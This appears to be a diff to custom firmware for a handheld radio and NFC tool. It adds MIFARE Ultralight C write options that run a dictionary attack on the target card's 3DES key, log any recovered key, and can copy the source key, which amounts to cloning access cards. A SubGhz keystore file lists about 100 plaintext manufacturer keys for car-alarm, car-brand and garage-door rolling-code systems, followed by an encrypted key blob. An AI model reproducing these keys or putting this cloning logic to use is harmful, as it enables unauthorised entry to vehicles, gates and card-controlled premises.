@@ -214,8 +216,26 @@ static void nfc_scene_read_and_saved_menu_on_enter_mf_ultralight(NfcApp* instanc
if(is_locked ||
(data->type != MfUltralightTypeNTAG213 && data->type != MfUltralightTypeNTAG215 &&
data->type != MfUltralightTypeNTAG216 && data->type != MfUltralightTypeUL11 &&
data->type != MfUltralightTypeUL21 && data->type != MfUltralightTypeOrigin)) {
data->type != MfUltralightTypeUL21 && data->type != MfUltralightTypeOrigin &&
data->type != MfUltralightTypeMfulC)) {
submenu_remove_item(submenu, SubmenuIndexCommonWrite);
} else if(data->type == MfUltralightTypeMfulC) {
// Replace the generic Write item with two ULC-specific options so the user
// can choose whether to keep or overwrite the target card's 3DES key.
// This avoids any mid-write dialog/view-switching complexity entirely.
submenu_remove_item(submenu, SubmenuIndexCommonWrite);
submenu_add_item(
submenu,
"Write (Keep Key)",
SubmenuIndexWriteKeepKey,
nfc_protocol_support_common_submenu_callback,
instance);
submenu_add_item(
submenu,
"Write (Copy Key)",
SubmenuIndexWriteCopyKey,
nfc_protocol_support_common_submenu_callback,
instance);
}
if(is_locked) {
@@ -291,6 +311,14 @@ static bool nfc_scene_read_and_saved_menu_on_event_mf_ultralight(
scene_manager_next_scene(instance->scene_manager, NfcSceneMfUltralightCDictAttack);
}
consumed = true;
} else if(event.event == SubmenuIndexWriteKeepKey) {
instance->mf_ultralight_c_write_context.copy_key = false;
scene_manager_next_scene(instance->scene_manager, NfcSceneWrite);
consumed = true;
} else if(event.event == SubmenuIndexWriteCopyKey) {
instance->mf_ultralight_c_write_context.copy_key = true;
scene_manager_next_scene(instance->scene_manager, NfcSceneWrite);
consumed = true;
}
}
return consumed;
@@ -307,12 +335,139 @@ static NfcCommand
if(mf_ultralight_event->type == MfUltralightPollerEventTypeRequestMode) {
mf_ultralight_event->data->poller_mode = MfUltralightPollerModeWrite;
furi_string_reset(instance->text_box_store);
if(instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
}
instance->mf_ultralight_c_dict_context.dict = NULL;
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventCardDetected);
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeAuthRequest) {
// Skip auth during the read phase of write - we'll authenticate
// against the target card in RequestWriteData using source key or dict attack
mf_ultralight_event->data->auth_context.skip_auth = true;
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeRequestKey) {
// Dict attack key provider - user dict first, then system dict
if(!instance->mf_ultralight_c_dict_context.dict &&
instance->mf_ultralight_c_write_context.dict_state == NfcMfUltralightCWriteDictIdle) {
if(keys_dict_check_presence(NFC_APP_MF_ULTRALIGHT_C_DICT_USER_PATH)) {
instance->mf_ultralight_c_dict_context.dict = keys_dict_alloc(
NFC_APP_MF_ULTRALIGHT_C_DICT_USER_PATH,
KeysDictModeOpenExisting,
sizeof(MfUltralightC3DesAuthKey));
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictUser;
}
if(!instance->mf_ultralight_c_dict_context.dict) {
instance->mf_ultralight_c_dict_context.dict = keys_dict_alloc(
NFC_APP_MF_ULTRALIGHT_C_DICT_SYSTEM_PATH,
KeysDictModeOpenExisting,
sizeof(MfUltralightC3DesAuthKey));
instance->mf_ultralight_c_write_context.dict_state =
NfcMfUltralightCWriteDictSystem;
}
}
MfUltralightC3DesAuthKey key = {};
bool got_key = false;
if(instance->mf_ultralight_c_dict_context.dict) {
got_key = keys_dict_get_next_key(
instance->mf_ultralight_c_dict_context.dict,
key.data,
sizeof(MfUltralightC3DesAuthKey));
}
if(!got_key &&
instance->mf_ultralight_c_write_context.dict_state == NfcMfUltralightCWriteDictUser) {
// Exhausted user dict, switch to system dict
if(instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
}
instance->mf_ultralight_c_dict_context.dict = keys_dict_alloc(
NFC_APP_MF_ULTRALIGHT_C_DICT_SYSTEM_PATH,
KeysDictModeOpenExisting,
sizeof(MfUltralightC3DesAuthKey));
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictSystem;
if(instance->mf_ultralight_c_dict_context.dict) {
got_key = keys_dict_get_next_key(
instance->mf_ultralight_c_dict_context.dict,
key.data,
sizeof(MfUltralightC3DesAuthKey));
}
}
if(got_key) {
mf_ultralight_event->data->key_request_data.key = key;
mf_ultralight_event->data->key_request_data.key_provided = true;
FURI_LOG_D(
"MfULC",
"Trying dict key: "
"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
key.data[0],
key.data[1],
key.data[2],
key.data[3],
key.data[4],
key.data[5],
key.data[6],
key.data[7],
key.data[8],
key.data[9],
key.data[10],
key.data[11],
key.data[12],
key.data[13],
key.data[14],
key.data[15]);
} else {
mf_ultralight_event->data->key_request_data.key_provided = false;
FURI_LOG_D("MfULC", "Dict exhausted - no more keys");
if(instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
}
instance->mf_ultralight_c_write_context.dict_state =
NfcMfUltralightCWriteDictExhausted;
}
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeRequestWriteData) {
mf_ultralight_event->data->write_data =
nfc_device_get_data(instance->nfc_device, NfcProtocolMfUltralight);
// Reset dict context so RequestKey starts fresh for the write-phase auth
if(instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
}
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeWriteKeyRequest) {
// Apply the user's key choice - read from static, not scene state (scene manager
// resets state to 0 on scene entry, wiping any value set before next_scene).
bool keep_key = !instance->mf_ultralight_c_write_context.copy_key;
mf_ultralight_event->data->write_key_skip = keep_key;
if(mf_ultralight_event->data->key_request_data.key_provided) {
MfUltralightC3DesAuthKey found_key = mf_ultralight_event->data->key_request_data.key;
FURI_LOG_D(
"MfULC",
"WriteKeyRequest: target key = "
"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
found_key.data[0],
found_key.data[1],
found_key.data[2],
found_key.data[3],
found_key.data[4],
found_key.data[5],
found_key.data[6],
found_key.data[7],
found_key.data[8],
found_key.data[9],
found_key.data[10],
found_key.data[11],
found_key.data[12],
found_key.data[13],
found_key.data[14],
found_key.data[15]);
}
FURI_LOG_D(
"MfULC",
"WriteKeyRequest: decision = %s (copy_key=%d)",
keep_key ? "KEEP target key (pages 44-47 NOT written)" :
"OVERWRITE with source key (pages 44-47 WILL be written)",
(int)instance->mf_ultralight_c_write_context.copy_key);
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeCardMismatch) {
furi_string_set(instance->text_box_store, "Card of the same\ntype should be\n presented");
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventWrongCard);
@@ -323,6 +478,7 @@ static NfcCommand
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventPollerFailure);
command = NfcCommandStop;
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeWriteFail) {
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventPollerFailure);
command = NfcCommandStop;
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeWriteSuccess) {
furi_string_reset(instance->text_box_store);
@@ -334,9 +490,18 @@ static NfcCommand
}
static void nfc_scene_write_on_enter_mf_ultralight(NfcApp* instance) {
// Free any dict the write callback opened (dict_state != Idle means we own it).
// After a DictAttack scene, on_exit now NULLs the pointer so a simple NULL check
// is safe here too — but the state enum is the authoritative ownership record.
if(instance->mf_ultralight_c_write_context.dict_state != NfcMfUltralightCWriteDictIdle &&
instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
}
instance->mf_ultralight_c_dict_context.dict = NULL;
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
furi_string_set(instance->text_box_store, "\nApply the\ntarget\ncard now");
instance->poller = nfc_poller_alloc(instance->nfc, NfcProtocolMfUltralight);
nfc_poller_start(instance->poller, nfc_scene_write_poller_callback_mf_ultralight, instance);
furi_string_set(instance->text_box_store, "Apply the initial\ncard only");
}
const NfcProtocolSupportBase nfc_protocol_support_mf_ultralight = {

View File

@@ -126,6 +126,18 @@ typedef struct {
size_t dict_keys_current;
} NfcMfUltralightCDictContext;
typedef enum {
NfcMfUltralightCWriteDictIdle, /**< No dict open; safe to open either dict. */
NfcMfUltralightCWriteDictUser, /**< User dict currently open. */
NfcMfUltralightCWriteDictSystem, /**< System dict currently open. */
NfcMfUltralightCWriteDictExhausted, /**< All dicts tried; do not re-open. */
} NfcMfUltralightCWriteDictState;
typedef struct {
bool copy_key; /**< True = overwrite target 3DES key with source key pages. */
NfcMfUltralightCWriteDictState dict_state; /**< Which dict is open for write-phase auth. */
} NfcMfUltralightCWriteContext;
struct NfcApp {
DialogsApp* dialogs;
Storage* storage;
@@ -165,6 +177,7 @@ struct NfcApp {
SlixUnlock* slix_unlock;
NfcMfClassicDictAttackContext nfc_dict_context;
NfcMfUltralightCDictContext mf_ultralight_c_dict_context;
NfcMfUltralightCWriteContext mf_ultralight_c_write_context;
Mfkey32Logger* mfkey32_logger;
MfUserDict* mf_user_dict;
MfClassicKeyCache* mfc_key_cache;

View File

@@ -77,6 +77,15 @@ void nfc_scene_mf_ultralight_c_dict_attack_prepare_view(NfcApp* instance) {
// Set attack type to Ultralight C
dict_attack_set_type(instance->dict_attack, DictAttackTypeMfUltralightC);
// Guard: if a previous write phase left a dict handle open, close it now.
// Without this, navigating write->back->read->dict-attack would open the same
// file twice, corrupting VFS state and causing a ViewPort lockup.
if(instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
}
if(state == DictAttackStateUserDictInProgress) {
do {
if(!keys_dict_check_presence(NFC_APP_MF_ULTRALIGHT_C_DICT_USER_PATH)) {
@@ -167,6 +176,7 @@ bool nfc_scene_mf_ultralight_c_dict_attack_on_event(void* context, SceneManagerE
nfc_poller_stop(instance->poller);
nfc_poller_free(instance->poller);
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
scene_manager_set_scene_state(
instance->scene_manager,
NfcSceneMfUltralightCDictAttack,
@@ -199,6 +209,7 @@ bool nfc_scene_mf_ultralight_c_dict_attack_on_event(void* context, SceneManagerE
nfc_poller_stop(instance->poller);
nfc_poller_free(instance->poller);
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
scene_manager_set_scene_state(
instance->scene_manager,
NfcSceneMfUltralightCDictAttack,
@@ -230,6 +241,7 @@ void nfc_scene_mf_ultralight_c_dict_attack_on_exit(void* context) {
NfcSceneMfUltralightCDictAttack,
DictAttackStateUserDictInProgress);
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
instance->mf_ultralight_c_dict_context.dict_keys_total = 0;
instance->mf_ultralight_c_dict_context.dict_keys_current = 0;
instance->mf_ultralight_c_dict_context.auth_success = false;

View File

@@ -58,6 +58,7 @@ typedef enum {
SubGhzCustomEventViewTransmitterSendStart,
SubGhzCustomEventViewTransmitterSendStop,
SubGhzCustomEventViewTransmitterError,
SubGhzCustomEventViewTransmitterPageChange,
SubGhzCustomEventViewFreqAnalOkShort,
SubGhzCustomEventViewFreqAnalOkLong,

View File

@@ -93,6 +93,7 @@ typedef enum {
SubGhzViewIdFrequencyAnalyzer,
SubGhzViewIdReadRAW,
SubGhzViewIdPsaDecrypt,
SubGhzViewIdKeeloqDecrypt,
} SubGhzViewId;

View File

@@ -1,107 +1,108 @@
Filetype: Flipper SubGhz Keystore File
Version: 0
Encryption: 0
0000000000000000:1:Allgate_Simple
0000000023304758:6:KGB/Subaru
0000000033205748:7:Magic_2
00000000C3644917:2:VAG_Custom_Seed
0102030410203040:1:IronLogic
0123456789ABCDEF:2:Stilmatic
0132456789ABCDEF:1:Pandora_Test_Debug_2
05AEDAABAA981903:1:Rosh
08AEDAABAA981903:1:Dea_Mio
1067DC33E7D88A46:0:Leopard
12332594A9189478:1:Sheriff
1234567812345678:2:NICE_Flor_S
1234567890123456:1:Cenmax
188B0544A9B1DF14:2:Centurion
1961DAC2EB198847:2:Guard_RF-311A
1B36977B281597AC:1:Pandora_PRO
207DBBE59D386F44:2:Cardin_S449
2156EB02D8E9B977:1:Pandora_DEA
2255EA01DBEABA76:1:Pandora_GIBIDI
2354E900DAEBBB75:1:Pandora_MCODE
2453EE07DDECBC72:1:Pandora_Unknown_1
2552EF06DCEDBD73:1:Pandora_SUZUKI
2587010764070864:1:Harpoon
2626991902991902:1:Gibidi
2651EC05DFEEBE70:1:Pandora_Unknown_2
27193A9B117C0835:11:Jarolift
2739451414471820:2:Audii
2750ED04DEEFBF71:2:Pandora_NISSAN
30317B307D794471:1:KEY
314C3865304E3961:1:Novoferm
32130221685B9D8C:2:VAG_HELLA_VPM2
3519B934A4227995:1:Pandora_SUBARU
352BABACA5F4DFE0:1:Pecinin
381D7D9A2A17AE99:1:Pandora_M101
3E461AB4F76DA19B:2:Merlin
4030201004030201:1:IL-100(Smart)
4130850A82610A14:1:Pantera_CLK
414C455831393830:1:Kingates_Stylo4k
4292903083134583:2:Monarch
434144494C4C4143:2:Cadillac_GM
43485259534C4552:2:Chrysler
444145574F4F0000:2:Daewoo
4772736565734769:1:Aprimatic
484D6C6D73545253:1:NICE_MHOUSE
484F4E4441200000:2:Honda
4859554E44414920:2:Hyundai_Asia
4C6D4D7A55644F76:3:BFT
4D41474E64796E65:1:Pantera
4D49545355424953:2:Mitsubishi
4E495353414E2000:2:Nissan
535446524B453030:13:KIAV5
53555A554B490000:2:Suzuki
53696C7669618C14:5:FAAC_SLH
54365CB7676284F9:1:Alligator_S-275
544F594F54410000:2:Toyota
54524D534543494E:1:NICE_Smilo
5504045708301203:1:SL_A6-A9/Tomahawk_9010
572768229476CAFF:2:Motorline
638664A880AA23FC:11:KIAV6A
6408076407018725:1:Tomahawk_TZ-9030
66B446B980AC752B:1:Cenmax_St-7
67732C5056334627:1:Pantera_XS/Jaguar
685B9D8C5A130221:2:VAG_HELLA_VPM
68732C5056334728:1:APS-1100_APS-2550
6912FA557DC2418A:0:Reff
6B8E6CA088A22BF4:12:KIAV6B
6D69736572657265:2:BFT_Miserere
6EB6AE4815C63ED2:9:Beninca_ARC
6F5E4D3B2AABCDEF:1:Tomahawk_Z,X_3-5
7BCBEED4376EDCBF:2:Sommer
7EAF1E9A392B19B9:1:Pandora_PRO2
8455F43584941223:1:DoorHan
8607427861394E30:2:EcoStar
8765432187654321:2:Sommer_FM_868
89146E59537903B7:1:JCM_Tech
8A326438B62287F5:0:Faraon
8BC9E46704700800:1:Vag
96638C36C99C2C9B:1:Came_Space
9804655AA5000000:8:Magic_4
9BF7F89BF8FE78DA:1:SL_A2-A4
9C61FD3A47B8E25C:2:Elmes_Poland
9DA08153CF312BA7:1:Normstahl
A8F5DFFC8DAA5CDB:10:KIA
A9748532B7655297:2:GSN
AA38A7A32189B5A1:0:Mutanco_Mutancode
AAFBFBA8F7CFEDFC:1:Cenmax_St-5
AC35BB2759000000:8:Magic_3
AD3C12A17028F11E:1:Partisan_RX
B3E5625A8CCD7139:2:Steelmate
B51526E8F126D1D7:0:Teco
B51A7AAB27351596:0:ZX-730-750-1055
BBEE9EDDAAF97ECC:1:Jolly_Motors
CEB6AE48B5C63ED2:4:Beninca
D5A5E7B2A7C1A0BA:2:Mongoose
E5D2C83529C113E6:2:VAG_HELLA_PWM
EEF3D4B2626C5578:1:Alligator
F1A3E552C8647E55:2:Comunello
F250006EF29E030E:2:Vauweh
F6E5D4B32ABADCFE:1:SL_B6,B9_dop
FAAC05600001FAAC:2:FAAC_RC,XT
FAAC05600002FAAC:2:Genius_Bravo
FADA12FADA34F0DA:1:Rossi
FC4DE22CD5370320:1:DTM_Neo
FEDCBA9876543210:2:Came_Tam
Encryption: 1
IV: 41 52 46 5F 54 68 65 5F 46 69 72 6D 77 61 72 65
1F55E94BD99C5FCA4E8CD620CB2F014854B25B5A5AC7633F7B8C2CE3993328A7A275ED382F23319461EC7B2E2BC450AC
71DF40F4D16CF30DC5223ED59B395704BC67271E3058CB09D7F5D9CEE1C04852
250208FB825F12A07A8C3F295C3B5FA69F52F2C9CA80452FDD1AEFC5A25F24DC
9D6D26F67532E91FE89476A9E754A60DF8ECE7B92CD1772A7AD3190FCABF06414C0A3762E0012D102798EE204A5549EC
0DCC0382D81B9D3E291FDEDDC697E2841D88A326D2869BA29F248D5DA4C96110
F84B5EB3BB882F76E0264A5A1791EDAC8A1CA35E7579EA4D247E473EB1F8F4C1
F8A4AFFF527E13643AC511900CF1764408691F60ABD1373E6AFE477E9967FD7F57E3CE41AE4700722DFA383BC64E9669
265C0060DE53B95EF07EE3E00045A6D03C89FE1D89F90EA3A2AFBFDB4A4636D6
DA1EBA6372C50D2072AC38CAACA3B023DEFDAE50987E764BEDA1E9FE53390CBA
1C0378D5294FC62DCD95A385B3AD2E6FACC13D9AAC37EF7BCE4341E33876BCE8
68AA58FB1DCDC05E56E0685DC57661333F66D890C6377771327DFB5EBEDA6AE1
E647CDE269D1DC5F404830C30B3CE38D8C0B6E928DB4E8863523799E51977B2B
AB40C8B0815B04C84BA1B1ACFFC93F20FE7F60F64AAE6E6AD4562415E6EFC049
DCD258016EB06D81DFC494261017E9DF36601076970EA09B008EEA43DA0E68EE
321F568C032B4C8B0B392A868ECC0D87EC9969E328FA35BBE9656701C77C35A8
E14A72B0B0689AA7E08A6081E56A00862A34808D77111DE804DDFA39FFCF6782
FF2573046D35FAA029BF0871A2D3216029B66927CECF527C72F192E06E13C3DC
FF890BCB54AD911EE78345FCC4F2DA65B653D68C7F6774C74DC998A2295F4916
8D1D92B53C1DD31BE8E1759640471793EFA8E987A4EDEE64A6DF658F2F67C136F5EFC0E895493BC02DB11B783E04DF84
20FD4B91D4169332B3CCCBDAB4FA5C730F37FF16A283ADBA6EA9D80F5D9C9F26
7B710488CFE33CE2EDDD37A3E864A517F7309FB097F8959497A5AD42B0E5C8AC2BA7AC6CD6B0BFCDEF5C88F4A995F20C
00D242BF328330A11124C423779CC73379BB80B8071CEFB8F413ED3C9A11BB1F7D4B3B22CA0AC10A74A68887E0994259
5BA325DD503C710D0BC153C50A2CC4F621AB6AE87E9CBBCD2996ED1B2FA1A854
731724428F104BB5697E7705B3E0834B41202A9F2D49C90C4889DDDB21F5AC3E
A22BAAB3818146B7B099CD3D65634F7CEBAD36015E7A5A16206ADFBD51988E038F2F62D273CA65CC592AF7DEB805510A
8DD12F73EF956047011A61C212986775D2A41F98E629DD78C6FA70C0E2634ECA
25D57BF539C51295524A53E5EF633547C54CB3D9A8072D9CAD897CEBD2AED3B3
C54BA9B2D4C6DFDC639E2964316D5311B2A039631880D5F4986E38D63976E28EABFF01B643EFC853DFB8E2E1622A7674
7A4062817B4848748A66AB34F9A4DA942BB3FE82CE1E264A12297FB7C6CF68B4
65DC6DC85C44CF8D04F7B786C16D30F9BB12C7AE80B68612464021CAAEB196AD
DD1F98CF4AF384B2412A786614C16109ED8FF9E842DCFF8E859B1D27BF1E08AD4C31793D1A6E07F8BCC7E5E0BCD4DF3B
C0FF96999B5AC49EDCDFF82A51968F2A985D240A2AC91178C02B34DDD5F2EE77DA0804D9E47470889DC8FC8BA01B2C11
51BAEBB4763C7E2A57C638ED824D83C73FB5E3E128992BBAAB7690CED5B40310
947F12090F89793CE465816679654F5E6397E3A15D726DF86A6023E6E8ABB065
B70CC56D0AF6F8E04E63031BBCB02EED4DB59A80B81FD4F67B8B61DFA57A0D51
C3DC0E9717759C36DFBDA6CCDD146B54C5F1A52A3C3802ADE9D2303BD179F5CE
5728832CD50226018ADD6A4736866EE4E932616C1CE74D67E2CE00D1427CBD96
222A41966802B8607EF496D898D5BCA41BD9D891552F53FD809C81C487EBB8C25DB6CA656AFF45D5911BE9B10BADBDF5
E171BE8EEC7773BB6AC1EC6B8AD13696267770931E4D72ADEB6A519A085F4EAF
29FA68F7BB01E55AA738A68866F674CF34873E6109C328D4654FF3CCAE7D3C73
E6791ABDD092843AE7A9B3A936B1AA77B812FF16CEA352F7972F132480AA4561
701A4DCFF6C7A56D9DAC77F071220F7C28B8206BB5F3213F5761C8ED6DABEDC6
AA4678E9AF3FE65F9B8E90A5CC95034CF510F1BD2C26DC89200CDAF3E15A9990
A13B1578F6A2241830208014AD3E864CB0AA442AFF02952F3C2FCCC4F33140B2
7C08CEC7BD2CC73EC9C436D32BB692E9020B9E043CF5F428705097F0AB141DEF
8F39C7668AD33A2F66E5451E07CDF87D4B44FC962DEDE7D68365EA8E729A058E
67F6C50C2D1BDEF471913E405A182D91040D4F4160484ED8762037F7F2EE8EBA
4DF3627B7F42226780EB3C247F18C1F37CD25AA22C120F69B732A1FAC9D02C8A
2A277456C8BA44CDC5A44D4353B9FA04D3F45743DB04B1E659F7DB4A8219672E
1E749351CBE258D2B8710B48FF9D3F4034244C7CAEA25C93FA4A2E04E2F4CB59
AEEA5813C69800830540B6768FCD0EF35A43FA58F6A8315AE06545A6103112D1
5A773FDCBABB5C9ADAD19B356D0300D5A5E905E6FEDED53D209A9BE2853C5BD8
F7C5AA9B29EB56D16610B560F65E99E78DCFE9463E6347E9477F387AC5756B05
59AF0DCF53E422B553B250F9131E365D9265ACA04C1763CEA379459D8E2D2026E4C6523DBEC8CFA9D2C287C7AB6F8719
CC11C8105B3643EAF8F935EE3E5408181CD7A41011EDF11F37D8BE45A70CB5A2
0B71155A1BFE1A61D1C6122EC9961CF97BF34C188AEEA1FCBDA8A56631180926
C4EA8825FB1030BDFCAD7A991F3CC7D65CA4300E1ABA4C53EB7287CF33031286E699217258B9CECCF99412915C50A579
A38F7B2D60ECD413609AF9A02924D50591FB07C2EF95B8512569E48D613855F0
6EBF32A7D2070E13A7EB01CB3CB3C62A2173DD56AC3627320B54E3D3211BCBC2
CCD92DEBB91582B72DC921F8675002399299C243C6AE9BADFE3EEB1BCC79512C3FEA1A83393F795AC6E0546B3FFAE364
491AD804382AA360C866082778A8ABA358FF9586A955BD5A9FD28FDF0B05744B
9D6D8647BC32B0A4EE08F2D361B13037BA596402E6BEB4ED9D3D582F5552C89B9D96CD6836DF15E55251ED39E5D0E8C4
BE92434BC3F646A192146500D150462E8FDFADB93E0DC8C1BE1B2F9E4B3A762B
7FA5E6D202BE57AA4DAFE94090FA8F84D483C3A6DEFD7EDF69D0F9972F55212EEBA83C847A8374059280AEDB24BA11BC
B6CDA34C4E8DFE3E509A22DC89B67E9706A980198D3FC522362B59647D79DBEA
BEED72A8B1DFBABF59D58D8EA98385BF706BDF403E3F84702D0BF5D87E0FAEBC
B049623264E92A557F1F6B04546D0D73889BF732ACE3109583CD52E226D8C2BC
91881B87503555F8A82E3E4314C1276F636BD5F2BB451FF1E131CB8CD0E089BF
AEA6163792A3B2D587F9270752F9D744849621E8A4DF9B5B82DFF06297DA828D4A95DD8E71267E560BFEB6C2EDB06F2A
98CEA896C163DBE5C9839CAE6E09DF46EE9AEC8A8978C5B018DB80E1081E01A3
27759BD9760153C94F982ADD85DA3F7FDD51EF17B3791968417ACDEBEBE59F9C
716574AB5E60E65600B86A66F6C8A6536FB97792D5B9A5EDE477D5B623F118B1
740FD62AFEF9D781976A5C01D8041B00A0D69DE56F1FAE030CC680D0D81793CB
9BFF7A62569BA492B586CA27B2A87F96861F5564696AD3F779A58C09955A6342
9BBF2793C0326BD03BA66A59BE65977C68225E26A55AAA6B56AC4F1D21B795DB
B8D4A1B5134B09C81B586A8ADDFA6292DE50CA84D0FAA9448D610C68129FD9CD
46827F0D09BEBFF241B4615EF4F9E5ADDB559EB87F4FC15A2AC58816969E186A
B090E1924CEF93ADC559E876CC71D174A43FE7ECB0FA2A7D748BD51E9B4D9780
8E8BFD7D356C101EB4998068767D9C259BE6C86A3BCE682C7BC05A8E6B32E106
8E57374694C5EB4A928B5BC25AD17ED2A0FF9563ADFEE22DA5C5CB15896C8C08
F4DF5C45823C2F3C590D6D962D0B46CB7442CFE1CE9930159E03C6D1B99A728E
72B3D5150BD2BFF2411DC4C85673D29B22649FA2F7CD4309C2C3BEB834D44CF8
51E14868A82570D2736DB6BDA6ADF110ABABC3982A1CD3F3107C9A4774DA2C49
7AFC1EA6CFAD93CBD16D7C6783E425378405F4E45A1F4757C5703513B693B069
944DD7315336FF24EC1D08211FF22DE40669C2D3F5D1F8C6907E6E0DD0F3024B9C536D32C4D4D1B05C0DA2AF139156BC
F78DB3774E964AF6EA61A0E6CB6FA311A63777DD6C82E83CF1508A4845AD995A
ADE6563483B98ABBA28FCC0AC6A6D046EBA57C28C9274938E47D07F78B3256B9
717C322142EAD4B0160D208CAB0EC6062A79D4CE917C805757A8812E7E1BE2B4
C6647C1643449A8E0A99F42AF0467376318FECE96EB11297EA6EC979CD50335B
CAFDBBCA3A8DCE026E6C131435656FA5B2FE2AB7340D227D37C7318C498B3F0C
F546BFA436AC20207F604E7634B6B30BBA4AA8047E7E72041FF023E9BFCA8D48219740033478EE52FC2CA9ED69F6B1AF
E54DE969B061414A725483E3455923112462408DD43D221E7651F245DD9AECAA
5E8A5BB037F8F6FF326190B9A3E6D5D0ED268D2F6EA77DAAE3E6FC2FC60AE46E
5E4457C2A8CD8A9EC4EB16F674775D2F27AD91E7D0ED4A58E42F0C8FB2195F52
E802E4FD33685950082F2CC510B5BD5D394FAADF7B88107F8C6BD1B30EFA5951
A8C339432E43C41206417FE5C5341B6063D011EC682914247939000741A4325E
97A26AAA3AA268F2271563B10173228C9CE67DE0872E7D6088B40D2B43599AA0
452F34AA2ACB42D23BF801CBC2B9956C3DFED71B34672BA0D09D20CBC5B6AE5E
AD473E39707EFECEC634A84099CF8BB05B9307390EAABFDF54901936E265F9EC
E946D1047A519101DB2B4FA48939049E869D43E54AD34A2E314E67BA86D4D577
7FCE70BF03798364ECD144909FB344FFC3C66A34AE5CBC230D970423A5412ED0
0BF57416D2600E332F14737333A7FB7D8327B96B98F217B620B3080F61F2DFEB
8D77033A47064B6D304C29E61FD3497CECE0CB0BE1305A0A5C418479FA142CA7
ACDA2BB920997BF6BAA1BFFD1300BCDCE0117C81DBFAA986A2DD9820287D853E

View File

@@ -0,0 +1,121 @@
# to use manual settings and prevent them from being deleted on upgrade, rename *_user.example files to *_user
Filetype: Flipper SubGhz Setting File
Version: 1
# Add Standard frequencies included with firmware and place user frequencies after them
#Add_standard_frequencies: false
# Default Frequency: used as default for "Read" and "Read Raw"
#Default_frequency: 433920000
# Frequencies used for "Read", "Read Raw" and "Frequency Analyzer"
Frequency: 300000000
Frequency: 302757000
Frequency: 303000000
Frequency: 303875000
Frequency: 303900000
Frequency: 304250000
Frequency: 307000000
Frequency: 307500000
Frequency: 307800000
Frequency: 309000000
Frequency: 310000000
Frequency: 312000000
Frequency: 312100000
Frequency: 312200000
Frequency: 313000000
Frequency: 313850000
Frequency: 314000000
Frequency: 314350000
Frequency: 314980000
Frequency: 315000000
Frequency: 318000000
Frequency: 320000000
Frequency: 320150000
Frequency: 330000000
Frequency: 345000000
Frequency: 348000000
Frequency: 350000000
Frequency: 387000000
Frequency: 390000000
Frequency: 418000000
Frequency: 430000000
Frequency: 430500000
Frequency: 431000000
Frequency: 431500000
Frequency: 433075000
Frequency: 433220000
Frequency: 433420000
Frequency: 433657070
Frequency: 433880000
Frequency: 433889000
Frequency: 433900000
Frequency: 433910000
Frequency: 433920000
Frequency: 433930000
Frequency: 433940000
Frequency: 433950000
Frequency: 433960000
Frequency: 434075000
Frequency: 434176948
Frequency: 434190000
Frequency: 434390000
Frequency: 434420000
Frequency: 434620000
Frequency: 434775000
Frequency: 438900000
Frequency: 440175000
Frequency: 462750000
Frequency: 464000000
Frequency: 467750000
Frequency: 779000000
Frequency: 868350000
Frequency: 868400000
Frequency: 868460000
Frequency: 868800000
Frequency: 868950000
Frequency: 906400000
Frequency: 915000000
Frequency: 925000000
Frequency: 928000000
# Frequencies used for hopping mode (keep this list small or flipper will miss signal)
Hopper_frequency: 315000000
Hopper_frequency: 433920000
Hopper_frequency: 434420000
Hopper_frequency: 868350000
# Presets used for preset hopping mode (cycles through these modulations)
Hopping_Preset: AM650
Hopping_Preset: FM476
Hopping_Preset: FM95
# Custom preset
# format for CC1101 "Custom_preset_data:" XX YY XX YY .. 00 00 ZZ ZZ ZZ ZZ ZZ ZZ ZZ ZZ, where: XX-register, YY - register data, 00 00 - end load register, ZZ - 8 byte Pa table register
Custom_preset_name: OOK_LR
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 F8 11 32 12 30 14 00 15 00 18 18 19 16 1B 07 1C 00 1D B1 20 FB 21 B6 22 11 00 00 00 C0 00 00 00 00 00 00
Custom_preset_name: OOK_U
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 F8 11 32 12 30 14 00 15 00 17 0C 18 18 19 16 1B 07 1C 00 1D B1 20 FB 21 B6 22 11 2C 81 2D 35 2E 09 00 00 00 C0 00 00 00 00 00 00
Custom_preset_name: AM_1
Custom_preset_module: CC1101
